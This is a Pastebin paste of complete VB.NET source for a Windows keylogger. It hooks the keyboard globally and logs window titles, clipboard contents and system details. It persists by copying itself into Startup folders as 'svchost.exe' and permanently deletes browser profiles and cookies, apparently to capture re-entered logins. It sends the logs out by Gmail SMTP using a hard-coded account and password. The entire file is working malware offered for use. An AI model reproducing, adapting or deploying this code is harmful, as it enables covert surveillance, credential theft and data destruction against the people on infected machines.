Advertisement
Guest User

kk

a guest
Apr 4th, 2016
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.73 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.ComponentModel
  3. Imports System.Net.Mail
  4. Imports Microsoft.Win32
  5.  
  6. Public Class Form1
  7.  
  8. Dim WithEvents K As New Keyboard
  9. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  10. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  11. Dim strin As String = Nothing
  12.  
  13.  
  14. Private Sub keyboardLanguages()
  15. For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
  16. TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
  17. Next
  18. End Sub
  19.  
  20. Private Function GetActiveWindowTitle() As String
  21. Dim MyStr As String
  22. MyStr = New String(Chr(0), 100)
  23. GetWindowText(GetForegroundWindow, MyStr, 100)
  24. MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  25. Return MyStr
  26. End Function
  27.  
  28. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  29. If strin <> GetActiveWindowTitle() Then
  30. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
  31. strin = GetActiveWindowTitle()
  32. End If
  33. End Sub
  34.  
  35. Private Sub K_Down(ByVal Key As String) Handles K.Down
  36. TextBox1.Text &= Key
  37. End Sub
  38.  
  39. Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  40. Try
  41. Dim file1 As String = Application.ExecutablePath
  42. Dim copy1 As String = "C:\Users\All Users\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
  43. If File.Exists(copy1) Then
  44. Else
  45. System.IO.File.Copy(file1, copy1)
  46. End If
  47. Catch ex As Exception
  48. End Try
  49. 'Windows 7 startup User
  50. Try
  51. Dim file1 As String = Application.ExecutablePath
  52. Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
  53. If File.Exists(copy1) Then
  54. Else
  55. System.IO.File.Copy(file1, copy1)
  56. End If
  57. Catch ex As Exception
  58. End Try
  59.  
  60. 'Windows XP startup User
  61. Try
  62. Dim file1 As String = Application.ExecutablePath
  63. Dim copy1 As String = "C:\Documents and Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svchost.exe"
  64. If File.Exists(copy1) Then
  65. Else
  66. System.IO.File.Copy(file1, copy1)
  67. End If
  68. Catch ex As Exception
  69. End Try
  70.  
  71. End Sub
  72.  
  73. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  74.  
  75. keyboardLanguages()
  76.  
  77. Select Case (My.Settings.browser)
  78. Case 0
  79. My.Settings.browser = 1
  80. My.Settings.Save()
  81. My.Settings.Reload()
  82. Case 1
  83. Timer4.Start()
  84. Case 2
  85. Case Else
  86. End Select
  87.  
  88. TextBox1.Text = Now() + vbNewLine + vbNewLine
  89.  
  90. Try
  91. Dim myProcess As New Process()
  92. myProcess.StartInfo.UseShellExecute = False
  93. myProcess.StartInfo.RedirectStandardOutput = True
  94. Try
  95. myProcess.StartInfo.FileName = "ipconfig"
  96. myProcess.StartInfo.Arguments = "/all"
  97. myProcess.StartInfo.CreateNoWindow = True
  98. myProcess.Start()
  99. TextBox1.Text = TextBox1.Text + _
  100. Replace(myProcess.StandardOutput.ReadToEnd(), _
  101. Chr(13) & Chr(13), Chr(13))
  102. myProcess.WaitForExit()
  103. Catch ex As Win32Exception
  104. End Try
  105. Catch ex As Exception
  106. End Try
  107.  
  108. Try
  109. TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "User Name: " + Environment.UserName.ToString
  110. TextBox1.Text = TextBox1.Text + vbNewLine + "Computer Name: " + Environment.MachineName.ToString
  111. TextBox1.Text = TextBox1.Text + vbNewLine + "Screen: " + My.Computer.Screen.WorkingArea.ToString
  112. TextBox1.Text = TextBox1.Text + vbNewLine + "OS Version: " + Environment.OSVersion.ToString
  113. TextBox1.Text = TextBox1.Text + vbNewLine + "Run Time: " + Environment.Version.ToString
  114. TextBox1.Text = TextBox1.Text + vbNewLine + "System Root: " + Environment.SystemDirectory.ToString
  115. TextBox1.Text = TextBox1.Text + vbNewLine + "User Domain Name: " + Environment.UserName.ToString
  116. TextBox1.Text = TextBox1.Text + vbNewLine + "Total Physical Memory: " + My.Computer.Info.TotalPhysicalMemory.ToString
  117. TextBox1.Text = TextBox1.Text + vbNewLine + "Remain Physical Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString
  118. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
  119.  
  120. K.CreateHook()
  121.  
  122. Timer1.Start()
  123. Timer2.Start()
  124. Catch ex As Exception
  125. End Try
  126.  
  127. End Sub
  128.  
  129. Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
  130.  
  131.  
  132. 'Windows 7
  133.  
  134. ' Mozilla deletes folder and .ini file
  135. Try
  136. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  137. System.IO.File.Delete("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\profiles.ini")
  138. Catch ex As Exception
  139. End Try
  140.  
  141. ' Chrome deletes folder
  142. Try
  143. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  144. Catch ex As Exception
  145. End Try
  146.  
  147. ' IE deletes folder
  148. Try
  149. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  150. Catch ex As Exception
  151. End Try
  152.  
  153. ' Opera deletes folder
  154. Try
  155. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  156. Catch ex As Exception
  157. End Try
  158.  
  159.  
  160.  
  161.  
  162. 'Windows XP
  163.  
  164. ' Mozilla deletes folder and .ini file
  165. Try
  166. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  167. System.IO.File.Delete("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles\profiles.ini")
  168. Catch ex As Exception
  169. End Try
  170.  
  171. ' Chrome deletes folder
  172. Try
  173. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Application Data\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  174. Catch ex As Exception
  175. End Try
  176.  
  177. ' IE deletes folder
  178. Try
  179. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  180. Catch ex As Exception
  181. End Try
  182.  
  183. ' IE deletes folder2
  184. Try
  185. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Temp", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  186. Catch ex As Exception
  187. End Try
  188.  
  189. ' Opera deletes folder
  190. Try
  191. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  192. Catch ex As Exception
  193. End Try
  194.  
  195. My.Settings.browser = 2
  196. My.Settings.Save()
  197. My.Settings.Reload()
  198.  
  199. Timer4.Stop()
  200.  
  201. End Sub
  202.  
  203. Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
  204. Try
  205. Dim MyMailMessage As New MailMessage()
  206. MyMailMessage.From = New MailAddress("abdieatsshit@gmail.com")
  207. MyMailMessage.To.Add("abdieatsshit@gmail.com")
  208. MyMailMessage.Subject = Environment.UserName.ToString + " Turned Off Part: " + My.Settings.part.ToString
  209. MyMailMessage.Body = TextBox1.Text
  210. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  211. SMTPServer.Port = 587
  212. SMTPServer.Credentials = New System.Net.NetworkCredential("abdieatsshit@gmail.com", "kimmokuu1")
  213. SMTPServer.EnableSsl = True
  214. SMTPServer.Send(MyMailMessage)
  215. Catch ex As Exception
  216. End Try
  217.  
  218. My.Settings.part = My.Settings.part + 1
  219. My.Settings.Save()
  220. My.Settings.Reload()
  221. End Sub
  222.  
  223. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  224. Try
  225. Timer1.Stop()
  226. Dim MyMailMessage As New MailMessage()
  227. MyMailMessage.From = New MailAddress("abdieatsshit@gmail.com")
  228. MyMailMessage.To.Add("abdieatsshit@gmail.com")
  229. MyMailMessage.Subject = Environment.UserName.ToString + " Part: " + My.Settings.part.ToString + " " + TextBox2.Text
  230.  
  231. MyMailMessage.Body = "Compare Info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine + _
  232. "Display Name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine + _
  233. "English Name: " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine + _
  234. "Left Language Tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine + _
  235. "Name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine + _
  236. "Native Name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine + _
  237. "Text Info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine + _
  238. "3 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine + _
  239. "3 Letter Windows Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine + _
  240. "2 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
  241. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  242. SMTPServer.Port = 587
  243. SMTPServer.Credentials = New System.Net.NetworkCredential("abdieatsshit@gmail.com", "kimmokuu1")
  244. SMTPServer.EnableSsl = True
  245. SMTPServer.Send(MyMailMessage)
  246. TextBox1.Clear()
  247. Timer1.Start()
  248. Catch ex As Exception
  249. End Try
  250.  
  251. My.Settings.part = My.Settings.part + 1
  252. My.Settings.Save()
  253. My.Settings.Reload()
  254.  
  255. End Sub
  256. End Class
  257.  
  258.  
  259.  
  260.  
  261.  
  262. Public Class Keyboard
  263. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
  264. Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  265. Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
  266. Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  267. Public Shared Event Down(ByVal Key As String)
  268. Public Shared Event Up(ByVal Key As String)
  269. Private Shared Key As Integer
  270. Private Shared KHD As KDel
  271. Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
  272. Public Sub CreateHook()
  273. KHD = New KDel(AddressOf Proc)
  274. Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  275. End Sub
  276.  
  277. Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  278. If (Code = 0) Then
  279. Select Case wParam
  280. Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
  281. Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
  282. End Select
  283. End If
  284. Return CallNextHookEx(Key, Code, wParam, lParam)
  285. End Function
  286. Public Sub DiposeHook()
  287. UnhookWindowsHookEx(Key)
  288. MyBase.Finalize()
  289. End Sub
  290. Private Function Feed(ByVal e As Keys) As String
  291. Select Case e
  292. Case 65 To 90
  293. If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
  294. Return e.ToString
  295. Else
  296. Return e.ToString.ToLower
  297. End If
  298. Case 48 To 57
  299. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  300. Select Case e.ToString
  301. Case "D1" : Return "!"
  302. Case "D2" : Return "@"
  303. Case "D3" : Return "#"
  304. Case "D4" : Return "$"
  305. Case "D5" : Return "%"
  306. Case "D6" : Return "^"
  307. Case "D7" : Return "&"
  308. Case "D8" : Return "*"
  309. Case "D9" : Return "("
  310. Case "D0" : Return ")"
  311. End Select
  312. Else
  313. Return e.ToString.Replace("D", Nothing)
  314. End If
  315. Case 96 To 105
  316. Return e.ToString.Replace("NumPad", Nothing)
  317. Case 106 To 111
  318. Select Case e.ToString
  319. Case "Divide" : Return "/"
  320. Case "Multiply" : Return "*"
  321. Case "Subtract" : Return "-"
  322. Case "Add" : Return "+"
  323. Case "Decimal" : Return "."
  324. End Select
  325. Case 32
  326. Return " "
  327. Case 186 To 222
  328. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  329. Select Case e.ToString
  330. Case "OemMinus" : Return "_"
  331. Case "Oemplus" : Return "+"
  332. Case "OemOpenBrackets" : Return "{"
  333. Case "Oem6" : Return "}"
  334. Case "Oem5" : Return "|"
  335. Case "Oem1" : Return ":"
  336. Case "Oem7" : Return """"
  337. Case "Oemcomma" : Return "<"
  338. Case "OemPeriod" : Return ">"
  339. Case "OemQuestion" : Return "?"
  340. Case "Oemtilde" : Return "~"
  341. End Select
  342. Else
  343. Select Case e.ToString
  344. Case "OemMinus" : Return "-"
  345. Case "Oemplus" : Return "="
  346. Case "OemOpenBrackets" : Return "["
  347. Case "Oem6" : Return "]"
  348. Case "Oem5" : Return ""
  349. Case "Oem1" : Return ";"
  350. Case "Oem7" : Return "'"
  351. Case "Oemcomma" : Return ","
  352. Case "OemPeriod" : Return "."
  353. Case "OemQuestion" : Return "/"
  354. Case "Oemtilde" : Return "`"
  355. End Select
  356. End If
  357. Case Keys.Return
  358. Return Environment.NewLine
  359. Case Else
  360. Return "<" + e.ToString + ">"
  361. End Select
  362. Return Nothing
  363. End Function
  364. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement